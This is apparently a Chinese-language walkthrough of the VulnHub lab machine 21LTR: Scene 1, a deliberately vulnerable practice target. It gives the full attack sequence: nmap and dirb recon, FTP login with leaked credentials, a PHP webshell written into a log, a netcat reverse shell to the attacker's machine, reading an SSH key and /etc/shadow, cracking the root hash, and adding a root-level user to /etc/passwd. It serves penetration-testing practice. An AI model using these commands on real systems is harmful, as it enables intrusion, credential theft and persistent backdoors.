一、靶机下载地址
https://www.vulnhub.com/entry/21ltr-scene-1,3/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.2.0/24 -sn | grep -B 2 '00:0C:29:40:D8:78'
2、端口扫描
# 使用命令
nmap 192.168.2.120 -p- -A
3、目录扫描
# 使用命令
dirb http://192.168.2.120
三、获取shell
1、访问靶机IP地址
2、右击,查看页面源代码发现账号和密码
logs:zg]E-b0]+8:(58G
3、尝试使用ftp进行连接,发现连接成功
4、使用ls命令,发现backup_log.php文件
5、将文件下载下来并进行查看,可以看到它包含一个 PHP 程序,用于在目标系统上生成备份日志
# 使用命令
get backup_log.php /home/kali/Desktop/1.php
cat 1.php
6、既然是php的日志文件,那么可以考虑将一句话写入日志中getshell,参考了一下其他文档,需要利用10001端口
# 使用命令
nc -nv 192.168.2.120 10001
# 写入木马
<?php system($_GET['cmd']) ?>
7、访问http://192.168.2.120/logs/backup_log.php,执行whoami命令,发现执行成功
8、现在我们将尝试使用 netcat 在本地机器上获取反向 shell
# 使用命令
nc -e /bin/sh 192.168.2.128 443
# 攻击机监听
nc -lvnp 443
四、提权
1、因为有ssh服务,所以就读取一下密钥,并将读取到的内容保存到kali中
# 使用命令
cat /media/USB_1/Stuff/Keys/id_rsa
cat id_rsa
2、赋予权限,然后使用ssh进行登录
# 使用命令
chmod 600 id_rsa
ssh -i id_rsa hbeale@192.168.2.120
3、读取shadow文件
# 使用命令
sudo cat /etc/shadow
4、将root用户的密码写入到passwort.txt中,然后进行破解,成功破解出密码formula1
5、使用ssh连接root,发现权限被拒绝
# 使用命令
ssh root@192.168.2.120
6、那么只能写入高权限用户了、使用openssl
命令生成密码
# 使用命令
openssl passwd 123456
7、使用echo
命令将sdsd
用户写入到/etc/passwd
文件中
# 使用命令
echo 'sdsd:$1$4ldeNKAb$acub46AxdAf2RRZrnag8Z/:0:0:root:/root:/bin/bash' >> /etc/passwd
8、使用su命令切换到sdsd用户,发现提权成功
# 使用命令
su sdsd